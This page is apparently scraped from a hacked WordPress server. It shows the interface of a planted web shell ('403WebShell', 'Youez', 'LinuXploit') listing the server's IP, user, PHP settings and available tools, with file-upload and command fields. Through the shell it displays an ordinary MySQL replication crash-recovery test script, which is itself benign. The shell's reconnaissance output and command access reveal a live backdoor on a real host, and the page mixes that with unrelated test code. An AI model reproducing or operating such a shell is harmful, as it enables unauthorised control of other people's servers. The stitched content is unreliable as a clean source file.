WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/rpl/t/rpl_sync.test
########################################################################################
# This test verifies the options --sync-relay-log-info and --relay-log-recovery by 
# crashing the slave in two different situations:
#  (case-1) - Corrupt the relay log with changes which were not processed by
#  the SQL Thread and crashes it.
#  (case-2) - Corrupt the master.info with wrong coordinates and crashes it.
#
#  Case 1:
#    1 - Stops the SQL Thread
#    2 - Inserts new records into the master.
#    3 - Corrupts the relay-log.bin* which most likely has such changes.
#    4 - Crashes the slave
#    5 - Verifies if the slave is sync with the master which means that the information
#    loss was circumvented by the recovery process.
#
#  Case 2:
#    1 - Stops the SQL/IO Threads
#    2 - Inserts new records into the master.
#    3 - Corrupts the master.info with wrong coordinates.
#    4 - Crashes the slave
#    5 - Verifies if the slave is sync with the master which means that the information
#    loss was circumvented by the recovery process.
########################################################################################

########################################################################################
#                                Configuring the environment
########################################################################################
--echo =====Configuring the enviroment=======;
--source include/master-slave.inc
--source include/not_embedded.inc
--source include/not_valgrind.inc
--source include/have_debug.inc
--source include/have_innodb.inc
--source include/not_crashrep.inc

call mtr.add_suppression('Attempting backtrace');
call mtr.add_suppression("Recovery from master pos .* and file master-bin.000001");
CREATE TABLE t1(a INT, PRIMARY KEY(a)) engine=innodb;

insert into t1(a) values(1);
insert into t1(a) values(2);
insert into t1(a) values(3);

########################################################################################
#                             Case 1: Corrupt a relay-log.bin*
########################################################################################
--echo =====Inserting data on the master but without the SQL Thread being running=======;
sync_slave_with_master;

connection slave;
let $MYSQLD_SLAVE_DATADIR= `select @@datadir`;
--replace_result $MYSQLD_SLAVE_DATADIR MYSQLD_SLAVE_DATADIR
--copy_file $MYSQLD_SLAVE_DATADIR/master.info $MYSQLD_SLAVE_DATADIR/master.backup
--source include/stop_slave_sql.inc

connection master;
insert into t1(a) values(4);
insert into t1(a) values(5);
insert into t1(a) values(6);

--echo =====Removing relay log files and crashing/recoverying the slave=======;
connection slave;
--source include/stop_slave_io.inc

let $file= query_get_value("SHOW SLAVE STATUS", Relay_Log_File, 1);

--let FILE_TO_CORRUPT= $MYSQLD_SLAVE_DATADIR/$file
perl;
$file= $ENV{'FILE_TO_CORRUPT'};
open(FILE, ">$file") || die "Unable to open $file.";
truncate(FILE,0);
print FILE "failure";
close ($file);
EOF

--exec echo "restart" > $MYSQLTEST_VARDIR/tmp/mysqld.2.expect
SET SESSION debug="d,crash_before_rotate_relaylog";
--error 2013
FLUSH LOGS;

--let $rpl_server_number= 2
--source include/rpl_reconnect.inc

--echo =====Dumping and comparing tables=======;
--source include/start_slave.inc

connection master;
sync_slave_with_master;

let $diff_tables=master:t1,slave:t1;
source include/diff_tables.inc;

########################################################################################
#                             Case 2: Corrupt a master.info
########################################################################################
--echo =====Corrupting the master.info=======;
connection slave;
--source include/stop_slave.inc

connection master;
FLUSH LOGS;

insert into t1(a) values(7);
insert into t1(a) values(8);
insert into t1(a) values(9);

connection slave;
let MYSQLD_SLAVE_DATADIR=`select @@datadir`;

--perl
use strict;
use warnings;
my $src= "$ENV{'MYSQLD_SLAVE_DATADIR'}/master.backup";
my $dst= "$ENV{'MYSQLD_SLAVE_DATADIR'}/master.info";
open(FILE, "<", $src) or die;
my @content= <FILE>;
close FILE;
open(FILE, ">", $dst) or die;
binmode FILE;
print FILE @content;
close FILE;
EOF

--exec echo "restart" > $MYSQLTEST_VARDIR/tmp/mysqld.2.expect
SET SESSION debug="d,crash_before_rotate_relaylog";
--error 2013
FLUSH LOGS;

--let $rpl_server_number= 2
--source include/rpl_reconnect.inc

--echo =====Dumping and comparing tables=======;
--source include/start_slave.inc

connection master;
sync_slave_with_master;

let $diff_tables=master:t1,slave:t1;
source include/diff_tables.inc;

########################################################################################
#                                      Clean up
########################################################################################
--echo =====Clean up=======;
connection master;
drop table t1;

--remove_file $MYSQLD_SLAVE_DATADIR/master.backup
--source include/rpl_end.inc


Youez - 2016 - github.com/yon3zu
LinuXploit